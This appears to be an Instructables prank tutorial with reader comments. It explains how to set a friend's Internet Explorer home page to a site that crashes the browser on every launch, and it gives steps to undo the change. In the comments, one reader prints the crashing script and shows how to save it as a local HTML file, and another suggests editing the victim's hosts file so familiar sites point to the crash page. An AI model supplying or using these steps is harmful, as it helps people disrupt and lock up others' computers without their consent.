How to Make Someone's Internet Explorer Crash Everytime They Open It

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Introduction: How to Make Someone's Internet Explorer Crash Everytime They Open It

this is a good prank for you to pull on your friends that will crash when they start internet explorer

Step 1: Open Settings Window

go to tools-> internet options

Step 2: Seting It Up

change the home page to http://crashie.com/ (this is a site that has a code that will crash almost every internet explorer version) then press ok

Step 3: The Result

now every time you open internet explorer, it crashes. so that means you can't change the options which means you can't go on any websites forever!!! because the internet explorer is screwed and you can't download other browsers that isn't screwed. so you or someone else that knows how has to fix it. (i will show u how to fix it)

Step 4: How to Fix It

to fix it, you have to disconnect the internet somehow.
there is 2 ways to do it:

go to control panel and swich to classic view. then go to network connections. next, right click the icon(s) and click disable. OR just unplug the internet cable

then go to internet explorer and change the homepage so it is not crashie.com, because there is no internet, internet explorer can't open the page that crashes it.

Step 5: How to Make It Better/wost Depending

download another browser like Firefox that won't crash when you view crashie.com and save it onto disk. then change the homepage to the directory (like c:\crashie.hmtl)

i haven't test it yet so tell me

to fix it just delete the file

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    bofthem
    bofthem

    12 years ago

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    noahw
    noahw

    12 years ago

    Hello, and welcome to the Instructables community! It's great that you've decided to tell the world about something you've made by publishing an Instructable. We just wanted to let you know that your project still needs a little more work if you want it to be well received on Instructables. Projects that don't include certain basic elements tend not to get the attention that they deserve, and so we'd love for you to check out the list below of what makes a successful Instructable. Successful projects on Instructables include: - clearly written details of a finished project with instruction - as many steps as are necessary to explain your project - clear images that you took of your project for most, if not all of your steps - an intro image - proper spelling and grammar - appropriate cautions or safety considerations I'll give you another opportunity to make any final changes to your project before we publish it. Once you're all set to go, please republish your project and send me a quick comment letting me know that you've made some changes. I'll give it a quick final check to make sure you're on the right path, and then remove this note. Thanks for your submission and we hope to see your project published soon!

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    jamie50
    jamie50

    10 years ago on Step 4

    or you could just press "start" then "favorites" and then click on one of your favorites then after it loads click on "tools" then "internet options" and type in the previous home page.

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    alltootechnical

    Weird, it doesn't crash IE8!
    I got the crashing code in the very beginning of the source code:
    <script>for(x in document.write){document.write(x);}</script><input type crash>
    To do it in notepad:
    <html>
    <script>for(x in document.write){document.write(x);}</script><input type crash>
    </html>


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    alltootechnical

    You may also modify the hosts file in:
    C:\Windows\System32drivers\etc\hosts
    or Start>Run>
    and type: "notepad C:\Windows\System32drivers\etc\hosts" minus the quotes
    once opened, add to the bottom of the file:

    (crashie.com IP address)                            (victim's frequently visited sites)

    Tell me if it works!

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    ERNesbitt
    ERNesbitt

    12 years ago on Introduction

    There's another way... just load Vista and wait.

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    the_mad_man
    the_mad_man

    Reply 11 years ago on Introduction

    OR try and put a thumb drive in to vista and wait. hang on, no need, crashes instantly

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    someone2
    someone2

    12 years ago on Step 3

    What about going to internet properties in control pannel and changing homepage there? Will anyone not think of doing that? I certainly would.

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    ooda55
    ooda55

    Reply 12 years ago on Step 3

    even quicker make a shortcut on the desktop to www.google.com and open tht then change ur hompage bak duhhhh lol

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    Tailslvr7_7
    Tailslvr7_7

    12 years ago on Introduction

    Very good! But sorry to "burst your bubble" , but there is an loophole to this. All you have to do is create a shortcut to any website (do this by making a regular shortcut on your computer, but put a website as the location) and that will bypass your home page, making IE not crashing when opened!

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    deadalchemist
    deadalchemist

    12 years ago on Introduction

    haha, thats a terrible thing to do! But it's funny, lol. How many poor souls have you pranked? ;-)